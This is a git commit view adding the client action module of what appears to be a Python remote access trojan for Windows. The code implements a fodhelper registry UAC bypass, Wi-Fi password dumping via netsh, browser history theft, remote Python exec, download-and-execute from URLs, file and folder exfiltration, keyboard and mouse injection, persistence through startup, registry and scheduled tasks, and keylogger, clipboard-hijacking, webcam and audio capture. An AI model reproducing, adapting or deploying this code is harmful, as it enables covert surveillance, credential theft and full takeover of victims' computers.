summaryrefslogtreecommitdiff
path: root/client/action.py
diff options
context:
space:
mode:
Diffstat (limited to 'client/action.py')
-rw-r--r--client/action.py772
1 files changed, 772 insertions, 0 deletions
diff --git a/client/action.py b/client/action.py
new file mode 100644
index 0000000..e67e327
--- /dev/null
+++ b/client/action.py
@@ -0,0 +1,772 @@
+'''
+ Functions called upon request specific actions, both
+ defined server & client side & correctly registered.
+ Constitutes the majority of the client's work.
+
+ Verified: 2020 December 30 & 2021 2021 February 6
+ * Follows PEP8
+ * Tested Platforms
+ * Windows 10
+ * Third Party Modules
+ * VideoCapture (Windows)
+ * browser-history
+ * pyperclip
+ * GPUtil
+ * psutil
+ * pynput
+ * mss
+'''
+
+from client.modules.keylogger import Keylogger
+from client.modules.desktop import Desktop
+from client.modules.clipper import Clipper
+from client.modules.audio import Audio
+from client.state import ClientStatic
+from client.error import ClientError
+from shared.helper import Helper
+from shared.state import Static
+from client.shell import Shell
+from shared.error import Error
+from shared.data import Data
+
+import urllib.request
+import contextlib
+import webbrowser
+import mss.tools
+import pyperclip
+import zipfile
+import random
+import GPUtil
+import psutil
+import pynput
+import time
+import mss
+import io
+import os
+
+import browser_history
+# NOTE : Disable the default logging of the library
+browser_history.utils.logger.removeHandler(
+ browser_history.utils.handler)
+
+if Static.WINDOWS:
+ from client.modules.webcam import Webcam, Capture
+
+ import ctypes
+ import vidcap
+ import re
+
+ @Error.quiet_thread
+ def alert_action(title, text, symbol):
+ ctypes.windll.user32.MessageBoxW(0, text, title, symbol)
+
+ if Static.EXE:
+ from client.autostart import (AutoShell,
+ AutoRegistry,
+ AutoSchedule)
+
+ import winreg
+
+ class Escalate:
+
+ __REG_PATH = r'Software\Classes\ms-settings\shell\open\command'
+ __FOD_HELPER = r'C:\Windows\System32\fodhelper.exe'
+ __DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
+
+ @staticmethod
+ def __create_reg_key(key, value):
+ winreg.CreateKey(winreg.HKEY_CURRENT_USER, Escalate.__REG_PATH)
+ reg_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER,
+ Escalate.__REG_PATH,
+ 0, winreg.KEY_WRITE)
+ winreg.SetValueEx(reg_key, key, 0, winreg.REG_SZ, value)
+ winreg.CloseKey(reg_key)
+
+ @staticmethod
+ def __delete_reg_key():
+ winreg.DeleteKey(winreg.HKEY_CURRENT_USER, Escalate.__REG_PATH)
+
+ @staticmethod
+ def start():
+ Escalate.__create_reg_key(
+ Escalate.__DELEGATE_EXEC_REG_KEY, None)
+ Escalate.__create_reg_key(None, Static.ROOT)
+ os.system(Escalate.__FOD_HELPER)
+ Escalate.__delete_reg_key()
+
+
+class Recover:
+
+ if Static.WINDOWS:
+ @staticmethod
+ def wifi():
+ headers, values = ('SSID', 'Authentication', 'Cipher',
+ 'Security Key', 'Password'), []
+
+ networks = Shell.run('netsh wlan show profile', True)
+ network_names = re.findall(r'(?:Profile\s*:\s)(.*)', networks)
+
+ for network_name in network_names:
+ try:
+ data = Shell.run(
+ 'netsh wlan show profile {} key=clear'.format(
+ network_name), True)
+
+ values.append((
+ re.findall(r'(?:SSID name\s*:\s)(.*)', data)[0][1:-1],
+ re.findall(r'(?:Authentication\s*:\s)(.*)', data)[0],
+ re.findall(r'(?:Cipher\s*:\s)(.*)', data)[0],
+ re.findall(r'(?:Security key\s*:\s)(.*)', data)[0],
+ re.findall(r'(?:Key Content\s*:\s)(.*)', data)[0]))
+ except Exception:
+ pass
+
+ return (values, headers)
+
+ @staticmethod
+ def history():
+ result = 'Row,Timestamp,URL\n'
+
+ for row, (timestamp, url) in enumerate(
+ browser_history.get_history().histories, 1):
+ result += '{},{},{}\n'.format(
+ row, Helper.timestamp(timestamp), url)
+
+ return result
+
+ @staticmethod
+ def bookmark():
+ result = 'Row,Timestamp,URL,Title,Folder\n'
+
+ for row, (timestamp, url, title, folder) in enumerate(
+ browser_history.get_bookmarks().bookmarks, 1):
+ result += '{},{},{},{},{}\n'.format(
+ row, Helper.timestamp(timestamp), url, title, folder)
+
+ return result
+
+
+class Sysinfo:
+
+ __FACTOR = 1024
+
+ @staticmethod
+ def get_size(bolter, suffix='B'):
+ for unit in ['', 'K', 'M', 'G', 'T', 'P']:
+ if bolter < Sysinfo.__FACTOR:
+ return f'{bolter:.2f}{unit}{suffix}'
+
+ bolter /= Sysinfo.__FACTOR
+
+ @staticmethod
+ def gpu():
+ headers, values = ('ID', 'Name', 'Load', 'Free Memory',
+ 'Used Memory', 'Total Memory',
+ 'Temperature', 'UUID'), []
+
+ for gpu in GPUtil.getGPUs():
+ values.append((gpu.id, gpu.name, f'{gpu.load * 100:.2f}%',
+ Sysinfo.get_size(gpu.memoryFree),
+ Sysinfo.get_size(gpu.memoryUsed),
+ Sysinfo.get_size(gpu.memoryTotal),
+ f'{gpu.temperature:.2f}C', gpu.uuid))
+
+ return (values, headers)
+
+ @staticmethod
+ def cpu():
+ cpu_frequency = psutil.cpu_freq()
+
+ headers, values = ('CPU Tag', 'Value'), [
+ ('Physical Cores', psutil.cpu_count(logical=False)),
+ ('Total Cores', psutil.cpu_count(logical=True)),
+ ('Max Frequency', f'{cpu_frequency.max:.2f}Mhz'),
+ ('Min Frequency', f'{cpu_frequency.min:.2f}Mhz'),
+ ('Current Frequency', f'{cpu_frequency.current:.2f}Mhz'),
+ ('Total CPU Usage', f'{psutil.cpu_percent():.2f}%')]
+
+ for core, percentage in enumerate(psutil.cpu_percent(
+ percpu=True, interval=1), 1):
+ values.append((f'Core {core} Usage', f'{percentage:.2f}%'))
+
+ return (values, headers)
+
+ @staticmethod
+ def memory():
+ virtual = psutil.virtual_memory()
+ swap = psutil.swap_memory()
+
+ headers, values = ('Memory Tag', 'Value'), (
+ ('Total Mem', Sysinfo.get_size(virtual.total)),
+ ('Available Mem', Sysinfo.get_size(virtual.available)),
+ ('Used Mem', Sysinfo.get_size(virtual.used)),
+ ('Percentage', f'{virtual.percent:.2f}%'),
+ ('Total Swap', Sysinfo.get_size(swap.total)),
+ ('Free Swap', Sysinfo.get_size(swap.free)),
+ ('Used Swap', Sysinfo.get_size(swap.used)),
+ ('Percentage Swap', f'{swap.percent:.2f}%'))
+
+ return (values, headers)
+
+ @staticmethod
+ def disk():
+ headers, values = ('Device', 'Mountpoint', 'File System',
+ 'Total Size', 'Used', 'Free', 'Percentage'), []
+
+ for partition in psutil.disk_partitions():
+ value = [partition.device,
+ partition.mountpoint,
+ partition.fstype]
+
+ try:
+ partition_usage = psutil.disk_usage(partition.mountpoint)
+ except PermissionError:
+ for _ in range(4):
+ value.append('')
+ else:
+ value.append(Sysinfo.get_size(partition_usage.total))
+ value.append(Sysinfo.get_size(partition_usage.used))
+ value.append(Sysinfo.get_size(partition_usage.free))
+ value.append(f'{partition_usage.percent:.2f}%')
+
+ values.append(value)
+
+ return (values, headers)
+
+ @staticmethod
+ def network():
+ headers, values = ('Interface', 'IP Address', 'MAC Address',
+ 'Netmask', 'Broadcast IP', 'Broadcast MAC'), []
+
+ for interface_name, interface_addresses \
+ in psutil.net_if_addrs().items():
+
+ for address in interface_addresses:
+ value = [interface_name]
+
+ if str(address.family) == 'AddressFamily.AF_INET':
+ value.append(address.address)
+ value.append('')
+ value.append(address.netmask)
+ value.append(address.broadcast)
+ value.append('')
+ elif str(address.family) == 'AddressFamily.AF_PACKET':
+ value.append('')
+ value.append(address.address)
+ value.append(address.netmask)
+ value.append('')
+ value.append(address.broadcast)
+ else:
+ for _ in range(5):
+ value.append('')
+
+ values.append(value)
+
+ return (values, headers)
+
+ @staticmethod
+ def io():
+ disk_io = psutil.disk_io_counters()
+ net_io = psutil.net_io_counters()
+
+ headers, values = ('IO Type Total Since Boot', 'Value'), (
+ ('File System Read', Sysinfo.get_size(disk_io.read_bytes)),
+ ('File System Write', Sysinfo.get_size(disk_io.write_bytes)),
+ ('Network Bytes Sent', Sysinfo.get_size(net_io.bytes_sent)),
+ ('Network Bytes Received', Sysinfo.get_size(net_io.bytes_recv)))
+
+ return (values, headers)
+
+
+class Process:
+
+ @staticmethod
+ def tasklist():
+ headers, values = ('PID', 'Name', 'Status',
+ 'CPU Usage', 'Memory Usage'), []
+
+ for process in psutil.process_iter():
+ value = [process.ppid(),
+ process.name(),
+ process.status(),
+ f'{process.cpu_percent():.2f}%']
+
+ try:
+ value.append(Sysinfo.get_size(
+ process.memory_full_info().uss))
+ except psutil.AccessDenied:
+ value.append('Access Denied')
+
+ values.append(value)
+
+ values.sort()
+ return (values, headers)
+
+ @staticmethod
+ def network():
+ headers, values = ('Local Address', 'Foreign Address',
+ 'Family', 'Protocol', 'Status', 'PID'), []
+
+ for process in psutil.net_connections():
+ try:
+ laddr, raddr, family, addr_type = ('', '',
+ str(process.family),
+ str(process.type))
+ if process.laddr:
+ laddr = '{}:{}'.format(*process.laddr)
+
+ if process.raddr:
+ raddr = '{}:{}'.format(*process.laddr)
+
+ if family.endswith('AF_INET'):
+ family = 'IPV4'
+ elif family.endswith('AF_INET6'):
+ family = 'IPV6'
+ else:
+ family = 'UNIX'
+
+ if addr_type.endswith('SOCK_STREAM'):
+ addr_type = 'TCP'
+ elif addr_type.endswith('SOCK_DGRAM'):
+ addr_type = 'UDP'
+ else:
+ addr_type = 'SCTP'
+
+ values.append((laddr, raddr, family, addr_type,
+ process.status, process.pid))
+ except Exception:
+ pass
+
+ values.sort()
+ return (values, headers)
+
+ @staticmethod
+ def kill(pid):
+ psutil.Process(pid).kill()
+
+
+class Inject:
+
+ def __init__(self):
+ self.__keyboard = pynput.keyboard.Controller()
+ self.__mouse = pynput.mouse.Controller()
+
+ def run(self, script):
+ for row, command in enumerate(script, 1):
+ command = command.split()
+ key, value = (command[0].lower(),
+ ' '.join(command[1:]))
+
+ if key == 'repeat':
+ for _ in range(int(value)):
+ self.run(script[row:])
+ else:
+ break
+ else:
+ self.__execute(key, value)
+
+ def __execute(self, key, value):
+ if key == 'press':
+ result = self.__key(value)
+ self.__keyboard.press(result)
+ self.__keyboard.release(result)
+ elif key == 'hold':
+ self.__keyboard.press(self.__key(value))
+ elif key == 'release':
+ self.__keyboard.release(self.__key(value))
+ elif key == 'type':
+ self.__keyboard.type(value)
+ elif key == 'position':
+ self.__mouse.position = tuple(self.__x_y(value))
+ elif key == 'move':
+ self.__mouse.move(*self.__x_y(value))
+ elif key == 'scroll':
+ self.__mouse.scroll(*self.__x_y(value))
+ elif key == 'mhold':
+ self.__mouse.press(self.__button(value))
+ elif key == 'mrelease':
+ self.__mouse.release(self.__button(value))
+ elif key == 'click':
+ result = self.__button(value)
+ self.__mouse.press(result)
+ self.__mouse.release(result)
+ elif key == 'dclick':
+ self.__mouse.click(self.__button(value), 2)
+ elif key == 'sleep':
+ time.sleep(float(value))
+ else:
+ raise SyntaxError('Injection Syntax Error')
+
+ def __x_y(self, value):
+ values = value.split()
+
+ if values[0].lower() == 'random':
+ numbers = [int(pos) for pos in
+ ' '.join(values[1:]).split(',')]
+ return (random.randint(*numbers[:2]),
+ random.randint(*numbers[2:4]))
+ else:
+ return (int(pos) for pos in value.split(','))
+
+ def __button(self, value):
+ return eval(f'pynput.mouse.Button.{value}')
+
+ def __key(self, value):
+ return eval(f'pynput.keyboard.Key.{value}')
+
+
+@ClientError.general
+def clipboard(request):
+ request, store = Helper.store(request, ('copy', 'empty'))
+
+ if store.copy:
+ pyperclip.copy(store.copy)
+ return Data.parse('Copied to clipboard',
+ status=Static.SUCCESS)
+ elif store.empty:
+ pyperclip.copy('')
+ return Data.parse('Clipboard emptied',
+ status=Static.SUCCESS)
+ else:
+ return Data.parse(pyperclip.paste(), raw=True)
+
+
+@ClientError.general
+def screenshot(request):
+ request, store = Helper.store(request, ('monitor',))
+ assert type(store.monitor) is int, 'Client Argument Error'
+
+ with mss.mss() as sct:
+ size = sct.monitors[store.monitor]
+ raw_bytes = sct.grab(size)
+ raw_bytes = mss.tools.to_png(raw_bytes.rgb,
+ raw_bytes.size)
+
+ return Data.parse('Screenshot taken (monitor {}, {}x{})'.format(
+ store.monitor, size['width'], size['height']),
+ status=Static.SUCCESS,
+ custom=Data.b64encode(raw_bytes))
+
+
+@ClientError.general
+def snapshot(request):
+ if Static.WINDOWS:
+ request, store = Helper.store(request, ('device',))
+ assert (type(store.device) is int
+ and store.device > 0), 'Client Argument Error'
+
+ device = vidcap.new_Dev(store.device - 1, False)
+ buffer, width, height = device.getbuffer()
+ raw_bytes = mss.tools.to_png(buffer, (width, height))
+
+ return Data.parse('Snapshot taken (device {}, {}x{}, {})'.format(
+ store.device, width, height, device.getdisplayname()),
+ status=Static.SUCCESS,
+ custom=Data.b64encode(raw_bytes))
+ else:
+ raise OSError('Feature Not Available')
+
+
+@ClientError.general
+def python(request):
+ request, store = Helper.store(request, ('exec',))
+ assert store.exec, 'Client Argument Error'
+
+ buffer = io.StringIO()
+
+ with contextlib.redirect_stdout(buffer):
+ exec(store.exec)
+
+ return Data.parse(buffer.getvalue(), raw=True)
+
+
+@ClientError.general
+def inject(request):
+ request, store = Helper.store(request, ('exec', 'unblock'))
+ assert store.exec and type(store.exec) is list, 'Client Argument Error'
+
+ if store.unblock:
+ Helper.thread(Error.quiet_thread(Inject().run), store.exec)
+ return Data.parse('Injection started', status=Static.INFO)
+ else:
+ Inject().run(store.exec)
+ return Data.parse('Injection complete',
+ status=Static.SUCCESS)
+
+
+@ClientError.general
+def browse(request):
+ request, store = Helper.store(request, ('url',))
+ assert store.url and type(store.url) is list, 'Client Argument Error'
+
+ for url in store.url:
+ webbrowser.open(url, 1)
+
+ return Data.parse('URL{} opened'.format(
+ Helper.plural(store.url)), status=Static.SUCCESS)
+
+
+@ClientError.general
+def alert(request):
+ request, store = Helper.store(request, ('title', 'text', 'symbol'))
+ assert all((store.title, store.text,
+ store.symbol in (16, 32, 48, 64))), 'Client Argument Error'
+
+ if Static.WINDOWS:
+ Helper.thread(alert_action, store.title,
+ store.text, store.symbol)
+ return Data.parse('Messagebox shown',
+ status=Static.SUCCESS)
+ else:
+ raise OSError('Feature Not Available')
+
+
+@ClientError.general
+def system(request):
+ request, store = Helper.store(request, ('shutdown', 'restart',
+ 'logout', 'hibernate',
+ 'standby'))
+ assert any((store.shutdown, store.restart,
+ store.logout, store.hibernate,
+ store.standby)), 'Client Argument Error'
+
+ if Static.WINDOWS:
+ if store.shutdown:
+ os.system('shutdown /p /f')
+ return Data.parse('Shutdown complete',
+ status=Static.SUCCESS)
+ elif store.restart:
+ os.system('shutdown /r /f /t 0')
+ return Data.parse('Restart complete',
+ status=Static.SUCCESS)
+ elif store.logout:
+ os.system('shutdown /l /f')
+ return Data.parse('Logout complete',
+ status=Static.SUCCESS)
+ elif store.hibernate:
+ os.system('shutdown /h')
+ return Data.parse('Hibernate complete',
+ status=Static.SUCCESS)
+ else:
+ os.system('rundll32.exe powrprof.dll,SetSuspendState 0,1,0')
+ return Data.parse('Standby complete',
+ status=Static.SUCCESS)
+ else:
+ raise OSError('Feature Not Available')
+
+
+@ClientError.general
+def download(request):
+ request, store = Helper.store(request, ('file', 'dir'))
+ assert store.file or store.dir, 'Client Argument Error'
+
+ if store.file:
+ assert os.path.isfile(store.file), 'File Not Found'
+ return Data.parse(f'Download complete ({store.file})',
+ status=Static.SUCCESS,
+ custom=Data.b64encode(Helper.read_file(
+ store.file, Helper.READ_BYTES)))
+ else:
+ assert os.path.isdir(store.dir), 'Directory Not Found'
+
+ buffer = io.BytesIO()
+ relroot = os.path.abspath(
+ os.path.join(store.dir, os.pardir))
+
+ with zipfile.ZipFile(buffer, Helper.WRITE,
+ zipfile.ZIP_DEFLATED) as archive:
+ for root, _, files in os.walk(store.dir):
+ archive.write(root, os.path.relpath(root, relroot))
+
+ for file in files:
+ filename = os.path.join(root, file)
+
+ if os.path.isfile(filename):
+ arcname = os.path.join(
+ os.path.relpath(root, relroot), file)
+ archive.write(filename, arcname)
+
+ return Data.parse(f'Download complete ({store.dir})',
+ status=Static.SUCCESS,
+ custom=Data.b64encode(buffer.getvalue()))
+
+
+@ClientError.general
+def upload(request):
+ request, store = Helper.store(request, ('file', 'url',
+ 'execute', 'custom'))
+ assert store.url or (store.file and store.custom), 'Client Argument Error'
+
+ if store.file:
+ Helper.write_file(store.file, Data.b64decode(
+ store.custom), Helper.WRITE_BYTES)
+
+ if store.execute:
+ Helper.start(store.file)
+
+ return Data.parse(f'Upload complete ({store.file})',
+ status=Static.SUCCESS)
+ else:
+ filename = os.path.split(store.url)[1]
+ Helper.write_file(filename, urllib.request.urlopen(
+ store.url).read(), Helper.WRITE_BYTES)
+
+ if store.execute:
+ Helper.start(filename)
+
+ return Data.parse(f'URL upload complete ({store.url})',
+ status=Static.SUCCESS)
+
+
+@ClientError.general
+def escalate(request):
+ assert Static.EXE, 'Requires Executable Build'
+
+ if Static.WINDOWS:
+ Escalate.start()
+ return Data.parse('Escalation started',
+ status=Static.INFO)
+ else:
+ raise OSError('Feature Not Available')
+
+
+@ClientError.general
+def autostart(request):
+ assert Static.EXE, 'Requires Executable Build'
+
+ request, store = Helper.store(request, ('shell', 'registry', 'schedule'))
+ assert any((store.shell, store.registry,
+ store.schedule)), 'Client Argument Error'
+
+ if Static.WINDOWS:
+ if store.shell:
+ AutoShell.install()
+ return Data.parse('Added to startup directory',
+ status=Static.SUCCESS)
+ elif store.registry:
+ AutoRegistry.install()
+ return Data.parse('Added to registry startup',
+ status=Static.SUCCESS)
+ else:
+ AutoSchedule.install()
+ return Data.parse('Added to task scheduler',
+ status=Static.SUCCESS)
+ else:
+ raise OSError('Feature Not Available')
+
+
+@ClientError.general
+def recover(request):
+ request, store = Helper.store(request, ('wifi', 'history', 'bookmark'))
+ assert any((store.wifi, store.history,
+ store.bookmark)), 'Client Argument Error'
+
+ if store.wifi:
+ if Static.WINDOWS:
+ return Data.message(Recover.wifi())
+ else:
+ raise OSError('Feature Not Available')
+ elif store.history:
+ return Data.parse('History downloaded',
+ status=Static.SUCCESS,
+ custom=Recover.history())
+ else:
+ return Data.parse('Bookmarks downloaded',
+ status=Static.SUCCESS,
+ custom=Recover.bookmark())
+
+
+@ClientError.general
+def process(request):
+ request, store = Helper.store(request, ('kill', 'tasklist', 'network'))
+ assert any((store.kill, store.tasklist,
+ store.network)), 'Client Argument Error'
+
+ if store.tasklist:
+ return Data.message(Process.tasklist())
+ elif store.network:
+ return Data.message(Process.network())
+ else:
+ Process.kill(int(store.kill))
+ return Data.parse(f'Process killed ({store.kill})',
+ status=Static.SUCCESS)
+
+
+@ClientError.general
+def sysinfo(request):
+ request, store = Helper.store(request, ('gpu', 'cpu', 'memory',
+ 'disk', 'network', 'io'))
+ assert any((store.gpu, store.cpu, store.memory, store.disk,
+ store.network, store.io)), 'Client Argument Error'
+
+ if store.gpu:
+ return Data.message(Sysinfo.gpu())
+ elif store.cpu:
+ return Data.message(Sysinfo.cpu())
+ elif store.memory:
+ return Data.message(Sysinfo.memory())
+ elif store.disk:
+ return Data.message(Sysinfo.disk())
+ elif store.network:
+ return Data.message(Sysinfo.network())
+ else:
+ return Data.message(Sysinfo.io())
+
+
+@ClientError.general
+def desktop(request):
+ request, store = Helper.store(request, ('monitor', 'token'))
+ assert type(store.monitor) is int and store.token, \
+ 'Client Argument Error'
+
+ Desktop(store.token).live(store.monitor)
+ return Data.parse(f'Desktop stream started (monitor {store.monitor})',
+ status=Static.INFO)
+
+
+@ClientError.general
+def webcam(request):
+ if Static.WINDOWS:
+ request, store = Helper.store(request, ('device', 'token'))
+ assert (type(store.device) is int and store.device > 0
+ and store.token), 'Client Argument Error'
+
+ device = vidcap.new_Dev(store.device - 1, False)
+ ClientStatic.WEBCAM[store.token] = Capture(device)
+ Webcam(store.token).live()
+
+ return Data.parse('Webcam stream started (device {}, {})'.format(
+ store.device, device.getdisplayname()), status=Static.INFO)
+ else:
+ raise OSError('Feature Not Available')
+
+
+@ClientError.general
+def audio(request):
+ request, store = Helper.store(request, ('channels', 'rate', 'token'))
+ assert (type(store.channels) is int and type(store.rate) is int
+ and store.token), 'Client Argument Error'
+
+ Audio(store.token).live(store.channels, store.rate)
+ return Data.parse('Audio stream started',
+ status=Static.INFO)
+
+
+@ClientError.general
+def keylogger(request):
+ request, store = Helper.store(request, ('token',))
+ assert store.token, 'Client Argument Error'
+
+ Keylogger(store.token).live()
+ return Data.parse('Keylogger started',
+ status=Static.INFO)
+
+
+@ClientError.general
+def clipper(request):
+ request, store = Helper.store(request, ('token',))
+ assert store.token, 'Client Argument Error'
+
+ Clipper(store.token).live()
+ return Data.parse('Clipper started',
+ status=Static.INFO)